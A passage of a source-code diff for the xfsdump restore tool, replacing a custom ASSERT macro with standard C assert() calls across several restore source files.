introstring )); + assert( strlen( introstring ) < sizeof( introstring )); display_dump_label( BOOL_FALSE, MLOG_NORMAL | MLOG_BARE, introstring, @@ -7122,14 +7123,14 @@ retry: _("\ninteractively restore from this dump?\n") : _("\nrestore this dump?\n"); } - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; dontix = choicecnt; choicestr[ choicecnt++ ] = _("skip"); doix = choicecnt; choicestr[ choicecnt++ ] = (persp->a.interpr) ? _("interactively restore\n") : _("restore\n"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); sigintix = IXMAX - 1; responseix = dlog_multi_query( querystr, @@ -7153,11 +7154,11 @@ retry: } else if ( responseix == dontix ) { ackstr[ ackcnt++ ] = _("dump skipped\n"); } else { - ASSERT( responseix == sigintix ); + assert( responseix == sigintix ); ackstr[ ackcnt++ ] = _("keyboard interrupt\n"); } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_multi_ack( ackstr, ackcnt ); @@ -7166,7 +7167,7 @@ retry: postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); @@ -7329,8 +7330,8 @@ restore_file_cb( void *cp, bool_t linkpr, char *path1, char *path2 ) return BOOL_FALSE; } } else if ( ! tranp->t_toconlypr ) { - ASSERT( path1 ); - ASSERT( path2 ); + assert( path1 ); + assert( path2 ); mlog( MLOG_TRACE, "linking %s to %s\n", path1, @@ -7523,7 +7524,7 @@ restore_reg( drive_t *drivep, /* set the extended inode flags, except those which must * be set only after all data has been restored. */ - ASSERT( bstatp->bs_extsize >= 0 ); + assert( bstatp->bs_extsize >= 0 ); memset((void *)&fsxattr, 0, sizeof( fsxattr )); fsxattr.fsx_xflags = bstatp->bs_xflags & ~POST_DATA_XFLAGS; fsxattr.fsx_extsize = (u_int32_t) bstatp->bs_extsize; @@ -7604,7 +7605,7 @@ restore_extent_group( drive_t *drivep, */ if ( ehdr.eh_type == EXTENTHDR_TYPE_ALIGN ) { size_t sz; - ASSERT( ehdr.eh_sz <= INTGENMAX ); + assert( ehdr.eh_sz <= INTGENMAX ); sz = ( size_t )ehdr.eh_sz; rv = discard_padding( sz, drivep ); if ( rv != RV_OK ) { @@ -7628,7 +7629,7 @@ restore_extent_group( drive_t *drivep, /* real data */ - ASSERT( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); + assert( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); bytesread = 0; rv = restore_extent( fhdrp, &ehdr, @@ -7971,7 +7972,7 @@ restore_symlink( drive_t *drivep, /* symlinks always have one extent */ - ASSERT( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); + assert( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); /* read the link path extent */ @@ -8006,7 +8007,7 @@ restore_symlink( drive_t *drivep, } return BOOL_FALSE; } - ASSERT( ( off64_t )nread == ehdr.eh_sz ); + assert( ( off64_t )nread == ehdr.eh_sz ); if ( ! scratch ) { if ( path ) { mlog( MLOG_VERBOSE | MLOG_WARNING, _( @@ -8109,7 +8110,7 @@ read_filehdr( drive_t *drivep, filehdr_t *fhdrp, bool_t fhcs ) default: return RV_CORE; } - ASSERT( ( size_t )nread == sizeof( *fhdrp )); + assert( ( size_t )nread == sizeof( *fhdrp )); mlog( MLOG_NITTY, "read file hdr off %lld flags 0x%x ino %llu mode 0x%08x\n", @@ -8168,7 +8169,7 @@ read_extenthdr( drive_t *drivep, extenthdr_t *ehdrp, bool_t ehcs ) default: return RV_CORE; } - ASSERT( ( size_t )nread == sizeof( *ehdrp )); + assert( ( size_t )nread == sizeof( *ehdrp )); mlog( MLOG_NITTY, "read extent hdr size %lld offset %lld type %d flags %08x\n", @@ -8208,8 +8209,8 @@ read_dirent( drive_t *drivep, direnthdr_t tmpdh; char *namep; // beginning of name following the direnthdr_t - ASSERT( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); - ASSERT( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); + assert( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); + assert( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); /* read the head of the dirent */ @@ -8236,7 +8237,7 @@ read_dirent( drive_t *drivep, default: return RV_CORE; } - ASSERT( ( size_t )nread == DIRENTHDR_SZ ); + assert( ( size_t )nread == DIRENTHDR_SZ ); if ( grhdrp->gh_version >= GLOBAL_HDR_VERSION_3 ) { xlate_direnthdr(&tmpdh, dhdrp, 1); @@ -8279,15 +8280,15 @@ read_dirent( drive_t *drivep, /* if null, return */ if ( dhdrp->dh_ino == 0 ) { - ASSERT( ( size_t )dhdrp->dh_sz == sizeof( direnthdr_t )); + assert( ( size_t )dhdrp->dh_sz == sizeof( direnthdr_t )); return RV_OK; } /* read the remainder of the dirent. */ - ASSERT( ( size_t )dhdrp->dh_sz <= direntbufsz ); - ASSERT( ( size_t )dhdrp->dh_sz >= sizeof( direnthdr_t )); - ASSERT( ! ( ( size_t )dhdrp->dh_sz & ( DIRENTHDR_ALIGN - 1 ))); + assert( ( size_t )dhdrp->dh_sz <= direntbufsz ); + assert( ( size_t )dhdrp->dh_sz >= sizeof( direnthdr_t )); + assert( ! ( ( size_t )dhdrp->dh_sz & ( DIRENTHDR_ALIGN - 1 ))); if ( ( size_t )dhdrp->dh_sz > sizeof( direnthdr_t )) { size_t remsz = ( size_t )dhdrp->dh_sz - sizeof( direnthdr_t ); nread = read_buf( namep, @@ -8313,7 +8314,7 @@ read_dirent( drive_t *drivep, default: return RV_CORE; } - ASSERT( ( size_t ) nread == remsz ); + assert( ( size_t ) nread == remsz ); } return RV_OK; @@ -8353,7 +8354,7 @@ read_extattrhdr( drive_t *drivep, extattrhdr_t *ahdrp, bool_t ahcs ) default: return RV_CORE; } - ASSERT( ( size_t )nread == sizeof( *ahdrp )); + assert( ( size_t )nread == sizeof( *ahdrp )); mlog( MLOG_NITTY, "read extattr hdr sz %u valoff %u flags 0x%x valsz %u cs 0x%x\n", @@ -8408,7 +8409,7 @@ discard_padding( size_t sz, drive_t *drivep ) &rval ); switch( rval ) { case 0: - ASSERT( ( size_t )nread == sz ); + assert( ( size_t )nread == sz ); return RV_OK; case DRIVE_ERROR_EOF: case DRIVE_ERROR_EOD: @@ -8444,11 +8445,11 @@ restore_extent( filehdr_t *fhdrp, *bytesreadp = 0; if ( fd != -1 ) { - ASSERT( path ); + assert( path ); /* seek to the beginning of the extent. * must be on a basic fs blksz boundary. */ - ASSERT( ( off & ( off64_t )( BBSIZE - 1 )) == 0 ); + assert( ( off & ( off64_t )( BBSIZE - 1 )) == 0 ); new_off = lseek64( fd, off, SEEK_SET ); if ( new_off < 0 ) { mlog( MLOG_NORMAL | MLOG_WARNING, _( @@ -8462,7 +8463,7 @@ restore_extent( filehdr_t *fhdrp, fd = -1; new_off = off; } - ASSERT( new_off == off ); + assert( new_off == off ); } if ( (fd != -1) && (bstatp->bs_xflags & XFS_XFLAG_REALTIME) ) { if ( (ioctl(fd, XFS_IOC_DIOINFO, &da) < 0) ) { @@ -8530,14 +8531,14 @@ restore_extent( filehdr_t *fhdrp, return rv; } if ( off >= bstatp->bs_size ) { - ASSERT( off == bstatp->bs_size ); + assert( off == bstatp->bs_size ); ntowrite = 0; } else if ((off64_t)sup_bufsz > bstatp->bs_size - off ) { ntowrite = ( size_t )( bstatp->bs_size - off ); } else { ntowrite = sup_bufsz; } - ASSERT( ntowrite <= ( size_t )INTGENMAX ); + assert( ntowrite <= ( size_t )INTGENMAX ); if ( ntowrite > 0 ) { *bytesreadp += ( off64_t )ntowrite; if ( fd != -1 ) { @@ -8562,7 +8563,7 @@ restore_extent( filehdr_t *fhdrp, tmp_off += ( off64_t )rval ) { int rttrunc = 0; int trycnt = 0; - ASSERT( remaining + assert( remaining <= ( size_t )INTGENMAX ); /* @@ -8608,7 +8609,7 @@ restore_extent( filehdr_t *fhdrp, nwritten = rval; break; } - ASSERT( ( size_t )rval <= remaining ); + assert( ( size_t )rval <= remaining ); if ( rval < remaining ) { mlog( MLOG_NORMAL | MLOG_WARNING, _("attempt to " @@ -8644,7 +8645,7 @@ restore_extent( filehdr_t *fhdrp, off, strerror( errno )); } else { - ASSERT( ( size_t )nwritten < ntowrite ); + assert( ( size_t )nwritten < ntowrite ); mlog( MLOG_NORMAL, _( "attempt to write %u bytes to %s at " "offset %lld failed: only %d bytes " @@ -8657,7 +8658,7 @@ restore_extent( filehdr_t *fhdrp, /* stop attempting to write, but complete reads */ fd = -1; - ASSERT( ntowrite <= ( size_t )INTGENMAX ); + assert( ntowrite <= ( size_t )INTGENMAX ); nwritten = ( intgen_t )ntowrite; } sz -= ( off64_t )sup_bufsz; @@ -8673,7 +8674,7 @@ static size_t extattrbufsz = 0; /* size of each extattr buffer */ static bool_t extattr_init( size_t drivecnt ) { - ASSERT( ! extattrbufp ); + assert( ! extattrbufp ); extattrbufsz = EXTATTRHDR_SZ /* dump hdr */ + NAME_MAX /* attribute name */ @@ -8721,7 +8722,7 @@ restore_extattr( drive_t *drivep, bstat_t *bstatp = &fhdrp->fh_stat; bool_t isfilerestored = BOOL_FALSE; - ASSERT( extattrbufp ); + assert( extattrbufp ); if ( ! isdirpr ) isfilerestored = partial_check(bstatp->bs_ino, bstatp->bs_size); @@ -8745,8 +8746,8 @@ restore_extattr( drive_t *drivep, } recsz = ( size_t )ahdrp->ah_sz; - ASSERT( recsz <= extattrbufsz ); - ASSERT( recsz >= EXTATTRHDR_SZ ); + assert( recsz <= extattrbufsz ); + assert( recsz >= EXTATTRHDR_SZ ); nread = read_buf( ( char * )&ahdrp[ 1 ], recsz - EXTATTRHDR_SZ, ( void * )drivep, @@ -8769,7 +8770,7 @@ restore_extattr( drive_t *drivep, default: return RV_CORE; } - ASSERT( nread == ( intgen_t )( recsz - EXTATTRHDR_SZ )); + assert( nread == ( intgen_t )( recsz - EXTATTRHDR_SZ )); if ( ! persp->a.restoreextattrpr && ! persp->a.restoredmpr ) { continue; @@ -8784,7 +8785,7 @@ restore_extattr( drive_t *drivep, * extended attributes. */ if ( isdirpr ) { - ASSERT( ! path ); + assert( ! path ); if ( dah != DAH_NULL ) { dirattr_addextattr( dah, ahdrp ); } @@ -9297,7 +9298,7 @@ pi_show( char *introstring ) strbuflen = sprintf( strbuf, "persistent inventory media file tree%s", introstring ); - ASSERT( ( size_t )strbuflen < sizeof( strbuf )); + assert( ( size_t )strbuflen < sizeof( strbuf )); fold_init( fold, strbuf, ':' ); mlog( MLOG_NORMAL | MLOG_BARE | MLOG_NOLOCK, "\n%s\n\n", @@ -9528,8 +9529,8 @@ display_dump_label( bool_t lockpr, char media_string_uuid[UUID_STR_LEN + 1]; char fs_string_uuid[UUID_STR_LEN + 1]; - ASSERT( scrhdrp->cih_level >= 0 ); - ASSERT( scrhdrp->cih_level < 10 ); + assert( scrhdrp->cih_level >= 0 ); + assert( scrhdrp->cih_level < 10 ); level_string[ 0 ] = ( char )( '0' + ( u_char_t )scrhdrp->cih_level ); level_string[ 1 ] = 0; diff --git a/restore/dirattr.c b/restore/dirattr.c index fcfa0c8..c829808 100644 --- a/restore/dirattr.c +++ b/restore/dirattr.c @@ -36,6 +36,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -201,14 +202,14 @@ dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) /* sanity checks */ - ASSERT( sizeof( dirattr_pers_t ) <= DIRATTR_PERS_SZ ); - ASSERT( ! dtp ); - ASSERT( ! dpp ); + assert( sizeof( dirattr_pers_t ) <= DIRATTR_PERS_SZ ); + assert( ! dtp ); + assert( ! dpp ); /* allocate and initialize context */ dtp = ( dirattr_tran_t * )calloc( 1, sizeof( dirattr_tran_t )); - ASSERT( dtp ); + assert( dtp ); dtp->dt_cachedh = DAH_NULL; dtp->dt_fd = -1; dtp->dt_extattrfd = -1; @@ -308,11 +309,11 @@ dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) /* mmap the persistent descriptor */ - ASSERT( ! ( DIRATTR_PERS_SZ % pgsz )); + assert( ! ( DIRATTR_PERS_SZ % pgsz )); dpp = ( dirattr_pers_t * )mmap_autogrow( DIRATTR_PERS_SZ, dtp->dt_fd, ( off_t )0 ); - ASSERT( dpp ); + assert( dpp ); if ( dpp == ( dirattr_pers_t * )-1 ) { mlog( MLOG_NORMAL | MLOG_ERROR, _( "unable to map %s: %s\n"), @@ -355,7 +356,7 @@ dirattr_cleanup( void ) } if ( dpp ) { rval = munmap( ( void * )dpp, DIRATTR_PERS_SZ ); - ASSERT( ! rval ); + assert( ! rval ); dpp = 0; } if ( dtp->dt_fd >= 0 ) { @@ -392,8 +393,8 @@ dirattr_add( filehdr_t *fhdrp ) /* sanity checks */ - ASSERT( dtp ); - ASSERT( dpp ); + assert( dtp ); + assert( dpp ); /* make sure file pointer is positioned to write at end of file */ @@ -406,7 +407,7 @@ dirattr_add( filehdr_t *fhdrp ) strerror( errno )); return DAH_NULL; } - ASSERT( dpp->dp_appendoff == newoff ); + assert( dpp->dp_appendoff == newoff ); dtp->dt_at_endpr = BOOL_TRUE; } @@ -420,7 +421,7 @@ dirattr_add( filehdr_t *fhdrp ) */ oldoff = dpp->dp_appendoff; dix = OFF2DIX( oldoff ); - ASSERT( dix <= DIX_MAX ); + assert( dix <= DIX_MAX ); /* populate a dirattr */ @@ -449,7 +450,7 @@ dirattr_add( filehdr_t *fhdrp ) /* update the next write offset */ - ASSERT( dpp->dp_appendoff <= OFF64MAX - ( off64_t )sizeof(dirattr_t) ); + assert( dpp->dp_appendoff <= OFF64MAX - ( off64_t )sizeof(dirattr_t) ); dpp->dp_appendoff += ( off64_t )sizeof(dirattr_t); #ifdef DIRATTRCHK @@ -514,7 +515,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) dtp->dt_extattrfdbadpr = BOOL_TRUE; return; } - ASSERT( seekoff == off ); + assert( seekoff == off ); oldoff = off; @@ -595,7 +596,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) dtp->dt_extattrfdbadpr = BOOL_TRUE; return; } - ASSERT( seekoff == oldoff ); + assert( seekoff == oldoff ); nwritten = write( dtp->dt_extattrfd, ( void * )&off, sizeof( off )); @@ -672,7 +673,7 @@ dirattr_cb_extattr( dah_t dah, dtp->dt_extattrfdbadpr = BOOL_TRUE; return BOOL_TRUE; } - ASSERT( seekoff == off ); + assert( seekoff == off ); /* peel off the next offset */ @@ -711,7 +712,7 @@ dirattr_cb_extattr( dah_t dah, /* read the remainder of the extattr */ recsz = ( size_t )ahdrp->ah_sz; - ASSERT( recsz >= EXTATTRHDR_SZ ); + assert( recsz >= EXTATTRHDR_SZ ); nread = read( dtp->dt_extattrfd, ( void * )&ahdrp[ 1 ], recsz - EXTATTRHDR_SZ ); @@ -756,10 +757,10 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) /* sanity checks */ - ASSERT( dtp ); - ASSERT( dpp ); + assert( dtp ); + assert( dpp ); - ASSERT( dah != DAH_NULL ); + assert( dah != DAH_NULL ); #ifdef DIRATTRCHK sum = HDLGETSUM( dah ); @@ -768,18 +769,18 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) dix = ( dix_t )dah; #endif /* DIRATTRCHK */ - ASSERT( dix >= 0 ); - ASSERT( dix <= DIX_MAX ); + assert( dix >= 0 ); + assert( dix <= DIX_MAX ); argoff = DIX2OFF( dix ); - ASSERT( argoff >= 0 ); - ASSERT( argoff >= ( off64_t )DIRATTR_PERS_SZ ); - ASSERT( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); + assert( argoff >= 0 ); + assert( argoff >= ( off64_t )DIRATTR_PERS_SZ ); + assert( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); #ifdef DIRATTRCHK dirattr_get( dah ); - ASSERT( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); - ASSERT( dtp->dt_cached_dirattr.d_sum == sum ); + assert( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); + assert( dtp->dt_cached_dirattr.d_sum == sum ); #endif /* DIRATTRCHK */ if ( dtp->dt_at_endpr && dtp->dt_off ) { @@ -796,9 +797,9 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) mlog( MLOG_NORMAL, _( "lseek of dirattr failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); } - ASSERT( newoff == argoff ); + assert( newoff == argoff ); /* populate a dirattr */ @@ -822,7 +823,7 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) mlog( MLOG_NORMAL, _( "update of dirattr failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); } dtp->dt_at_endpr = BOOL_FALSE; @@ -959,10 +960,10 @@ dirattr_get( dah_t dah ) /* sanity checks */ - ASSERT( dtp ); - ASSERT( dpp ); + assert( dtp ); + assert( dpp ); - ASSERT( dah != DAH_NULL ); + assert( dah != DAH_NULL ); /* if we are already holding this dirattr in cache, * just return @@ -977,13 +978,13 @@ dirattr_get( dah_t dah ) #else /* DIRATTRCHK */ dix = ( dix_t )dah; #endif /* DIRATTRCHK */ - ASSERT( dix >= 0 ); - ASSERT( dix <= DIX_MAX ); + assert( dix >= 0 ); + assert( dix <= DIX_MAX ); argoff = DIX2OFF( dix ); - ASSERT( argoff >= 0 ); - ASSERT( argoff >= ( off64_t )DIRATTR_PERS_SZ ); - ASSERT( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); + assert( argoff >= 0 ); + assert( argoff >= ( off64_t )DIRATTR_PERS_SZ ); + assert( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); if ( dtp->dt_at_endpr && dtp->dt_off ) { if (dirattr_flush() != RV_OK) { @@ -999,9 +1000,9 @@ dirattr_get( dah_t dah ) mlog( MLOG_NORMAL, _( "lseek of dirattr failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); } - ASSERT( newoff == argoff ); + assert( newoff == argoff ); /* read the dirattr */ @@ -1012,12 +1013,12 @@ dirattr_get( dah_t dah ) mlog( MLOG_NORMAL, _( "read of dirattr failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); } #ifdef DIRATTRCHK - ASSERT( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); - ASSERT( dtp->dt_cached_dirattr.d_sum == sum ); + assert( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); + assert( dtp->dt_cached_dirattr.d_sum == sum ); #endif /* DIRATTRCHK */ dtp->dt_at_endpr = BOOL_FALSE; @@ -1038,13 +1039,13 @@ dirattr_cacheflush( void ) /* sanity checks */ - ASSERT( dtp ); - ASSERT( dpp ); + assert( dtp ); + assert( dpp ); /* if nothing in the cache, ignore */ dah = dtp->dt_cachedh; - ASSERT( dah != DAH_NULL ); + assert( dah != DAH_NULL ); if ( dah == DAH_NULL ) { return; } @@ -1057,17 +1058,17 @@ dirattr_cacheflush( void ) #endif /* DIRATTRCHK */ #ifdef DIRATTRCHK - ASSERT( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); - ASSERT( dtp->dt_cached_dirattr.d_sum == sum ); + assert( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); + assert( dtp->dt_cached_dirattr.d_sum == sum ); #endif /* DIRATTRCHK */ - ASSERT( dix >= 0 ); - ASSERT( dix <= DIX_MAX ); + assert( dix >= 0 ); + assert( dix <= DIX_MAX ); argoff = DIX2OFF( dix ); - ASSERT( argoff >= 0 ); - ASSERT( argoff >= ( off64_t )DIRATTR_PERS_SZ ); - ASSERT( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); + assert( argoff >= 0 ); + assert( argoff >= ( off64_t )DIRATTR_PERS_SZ ); + assert( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); /* seek to the dirattr */ @@ -1076,9 +1077,9 @@ dirattr_cacheflush( void ) mlog( MLOG_NORMAL, _( "lseek of dirattr failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); } - ASSERT( newoff == argoff ); + assert( newoff == argoff ); /* write the dirattr */ @@ -1089,7 +1090,7 @@ dirattr_cacheflush( void ) mlog( MLOG_NORMAL, _( "flush of dirattr failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); } dtp->dt_at_endpr = BOOL_FALSE; @@ -1104,7 +1105,7 @@ calcdixcum( dix_t dix ) ix_t nibcnt; ix_t nibix; - ASSERT( ( sizeof( dah_t ) / HDLSUMCNT ) * HDLSUMCNT == sizeof( dah_t )); + assert( ( sizeof( dah_t ) / HDLSUMCNT ) * HDLSUMCNT == sizeof( dah_t )); nibcnt = ( sizeof( dah_t ) / HDLSUMCNT ) - 1; sum = 0; diff --git a/restore/inomap.c b/restore/inomap.c index 562492e..2c62afc 100644 --- a/restore/inomap.c +++ b/restore/inomap.c @@ -26,6 +26,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -195,9 +196,9 @@ inomap_restore_pers( drive_t *drivep, /* sanity checks */ - ASSERT( INOPERSEG == ( sizeof( (( seg_t * )0 )->lobits ) * NBBY )); - ASSERT( sizeof( hnk_t ) == HNKSZ ); - ASSERT( sizeof( pers_t ) <= PERSSZ ); + assert( INOPERSEG == ( sizeof( (( seg_t * )0 )->lobits ) * NBBY )); + assert( sizeof( hnk_t ) == HNKSZ ); + assert( sizeof( pers_t ) <= PERSSZ ); /* get inomap info from media hdr */ @@ -243,7 +244,7 @@ inomap_restore_pers( drive_t *drivep, persp->last_ino_added = last_ino_added; tmphnkp = ( hnk_t * )calloc( ( size_t )hnkcnt, sizeof( hnk_t )); - ASSERT( tmphnkp ); + assert( tmphnkp ); /* read the map in from media */ @@ -268,7 +269,7 @@ inomap_restore_pers( drive_t *drivep, PERSSZ + sizeof( hnk_t ) * ( size_t )hnkcnt ); - ASSERT( ! rval1 ); + assert( ! rval1 ); ( void )close( fd ); free( ( void * )perspath ); @@ -278,7 +279,7 @@ inomap_restore_pers( drive_t *drivep, */ switch( rval ) { case 0: - ASSERT( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); + assert( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); ok = inomap_sync_pers( hkdir ); if ( ! ok ) { return RV_ERROR; @@ -325,7 +326,7 @@ inomap_discard( drive_t *drivep, content_inode_hdr_t *scrhdrp ) */ switch( rval ) { case 0: - ASSERT( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); + assert( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); return RV_OK; case DRIVE_ERROR_EOD: case DRIVE_ERROR_EOF: @@ -350,7 +351,7 @@ inomap_sync_pers( char *hkdir ) /* sanity checks */ - ASSERT( sizeof( hnk_t ) == HNKSZ ); + assert( sizeof( hnk_t ) == HNKSZ ); /* only needed once per session */ @@ -388,7 +389,7 @@ inomap_sync_pers( char *hkdir ) /* mmap the pers inomap */ - ASSERT( hnkcnt * sizeof( hnk_t ) <= ( size64_t )INT32MAX ); + assert( hnkcnt * sizeof( hnk_t ) <= ( size64_t )INT32MAX ); roothnkp = ( hnk_t * ) mmap_autogrow( sizeof( hnk_t ) * ( size_t )hnkcnt, pers_fd, @@ -415,7 +416,7 @@ inomap_sync_pers( char *hkdir ) /* calculate the tail pointers */ tailhnkp = hnkp; - ASSERT( hnkcnt > 0 ); + assert( hnkcnt > 0 ); lastsegp = &tailhnkp->seg[ ( intgen_t )( segcnt - SEGPERHNK * ( hnkcnt - 1 ) @@ -485,7 +486,7 @@ inomap_sanitize( void ) void inomap_rst_add( xfs_ino_t ino ) { - ASSERT( pers_fd >= 0 ); + assert( pers_fd >= 0 ); ( void )map_set( ino, MAP_NDR_CHANGE ); } @@ -494,7 +495,7 @@ inomap_rst_add( xfs_ino_t ino ) void inomap_rst_del( xfs_ino_t ino ) { - ASSERT( pers_fd >= 0 ); + assert( pers_fd >= 0 ); ( void )map_set( ino, MAP_NDR_NOREST ); } diff --git a/restore/namreg.c b/restore/namreg.c index 41362d1..c64833d 100644 --- a/restore/namreg.c +++ b/restore/namreg.c @@ -24,6 +24,7 @@ #include #include #include +#include #include "types.h" #include "lock.h" @@ -118,15 +119,15 @@ namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) /* sanity checks */ - ASSERT( ! ntp ); - ASSERT( ! npp ); + assert( ! ntp ); + assert( ! npp ); - ASSERT( sizeof( namreg_pers_t ) <= NAMREG_PERS_SZ ); + assert( sizeof( namreg_pers_t ) <= NAMREG_PERS_SZ ); /* allocate and initialize context */ ntp = ( namreg_tran_t * )calloc( 1, sizeof( namreg_tran_t )); - ASSERT( ntp ); + assert( ntp ); /* generate a string containing the pathname of the namreg file */ @@ -223,7 +224,7 @@ namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) /* mmap the persistent descriptor */ - ASSERT( ! ( NAMREG_PERS_SZ % pgsz )); + assert( ! ( NAMREG_PERS_SZ % pgsz )); npp = ( namreg_pers_t * ) mmap_autogrow( NAMREG_PERS_SZ, ntp->nt_fd, @@ -258,9 +259,9 @@ namreg_add( char *name, size_t namelen ) /* sanity checks */ - ASSERT( ntp ); - ASSERT( npp ); - ASSERT( !ntp->nt_map ); + assert( ntp ); + assert( npp ); + assert( !ntp->nt_map ); /* make sure file pointer is positioned to append */ @@ -271,10 +272,10 @@ namreg_add( char *name, size_t namelen ) mlog( MLOG_NORMAL, _( "lseek of namreg failed: %s\n"), strerror( errno )); - ASSERT( 0 ); + assert( 0 ); return NRH_NULL; } - ASSERT( npp->np_appendoff == newoff ); + assert( npp->np_appendoff == newoff ); ntp->nt_at_endpr = BOOL_TRUE; } @@ -290,7 +291,7 @@ namreg_add( char *name, size_t namelen ) /* write a one byte unsigned string length into the buffer. */ - ASSERT( namelen < 256 ); + assert( namelen < 256 ); c = ( unsigned char )( namelen & 0xff ); ntp->nt_buf[ntp->nt_off++] = c; @@ -300,7 +301,7 @@ namreg_add( char *name, size_t namelen ) ntp->nt_off += namelen; npp->np_appendoff += ( off64_t )( 1 + namelen ); - ASSERT( oldoff <= HDLMAX ); + assert( oldoff <= HDLMAX ); #ifdef NAMREGCHK @@ -375,12 +376,12 @@ namreg_get( nrh_t nrh, /* sanity checks */ - ASSERT( ntp ); - ASSERT( npp ); + assert( ntp ); + assert( npp ); /* make sure we aren't being given a NULL handle */ - ASSERT( nrh != NRH_NULL ); + assert( nrh != NRH_NULL ); /* convert the handle into the offset */ @@ -397,9 +398,9 @@ namreg_get( nrh_t nrh, /* do sanity check on offset */ - ASSERT( newoff <= HDLMAX ); - ASSERT( newoff < npp->np_appendoff ); - ASSERT( newoff >= ( off64_t )NAMREG_PERS_SZ ); + assert( newoff <= HDLMAX ); + assert( newoff < npp->np_appendoff ); + assert( newoff >= ( off64_t )NAMREG_PERS_SZ ); lock( ); @@ -461,7 +462,7 @@ namreg_get( nrh_t nrh, /* validate the checkbit */ - ASSERT( chkbit + assert( chkbit == ( ( ( nrh_t )len + ( nrh_t )bufp[ 0 ] ) & CHKBITLOMASK )); diff --git a/restore/node.c b/restore/node.c index 4cc8fb0..f0297a5 100644 --- a/restore/node.c +++ b/restore/node.c @@ -23,6 +23,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -188,9 +189,9 @@ node_unmap_internal( nh_t nh, void **pp, bool_t freepr ) register u_char_t nodeunq; #endif /* NODECHK */ - ASSERT( pp ); - ASSERT( *pp ); - ASSERT( nh != NH_NULL ); + assert( pp ); + assert( *pp ); + assert( nh != NH_NULL ); /* convert the handle into an index */ @@ -199,19 +200,19 @@ node_unmap_internal( nh_t nh, void **pp, bool_t freepr ) nh = HDLGETNHDL( nh ); #endif /* NODECHK */ - ASSERT( nh <= NH_MAX ); + assert( nh <= NH_MAX ); #ifdef NODECHK hkp = *( *( u_char_t ** )pp + node_hdrp->nh_nodehkix ); nodegen = HKPGETGEN( hkp ); - ASSERT( nodegen == hdlgen ); + assert( nodegen == hdlgen ); nodeunq = HKPGETUNQ( hkp ); if ( ! freepr ) { - ASSERT( nodeunq != NODEUNQFREE ); - ASSERT( nodeunq == NODEUNQALCD ); + assert( nodeunq != NODEUNQFREE ); + assert( nodeunq == NODEUNQALCD ); } else { - ASSERT( nodeunq != NODEUNQALCD ); - ASSERT( nodeunq == NODEUNQFREE ); + assert( nodeunq != NODEUNQALCD ); + assert( nodeunq == NODEUNQFREE ); } #endif /* NODECHK */ @@ -240,16 +241,16 @@ node_init( intgen_t fd, /* sanity checks */ - ASSERT( sizeof( node_hdr_t ) <= NODE_HDRSZ ); - ASSERT( sizeof( nh_t ) < sizeof( off64_t )); - ASSERT( sizeof( nh_t ) <= sizeof( segix_t )); - ASSERT( sizeof( nh_t ) <= sizeof( relnix_t )); - ASSERT( nodehkix < usrnodesz ); - ASSERT( usrnodesz >= sizeof( char * ) + 1 ); + assert( sizeof( node_hdr_t ) <= NODE_HDRSZ ); + assert( sizeof( nh_t ) < sizeof( off64_t )); + assert( sizeof( nh_t ) <= sizeof( segix_t )); + assert( sizeof( nh_t ) <= sizeof( relnix_t )); + assert( nodehkix < usrnodesz ); + assert( usrnodesz >= sizeof( char * ) + 1 ); /* so node is at least big enough to hold * the free list linkage and the housekeeping byte */ - ASSERT( nodehkix > sizeof( char * )); + assert( nodehkix > sizeof( char * )); /* since beginning of each node is used to * link it in the free list. */ @@ -283,7 +284,7 @@ node_init( intgen_t 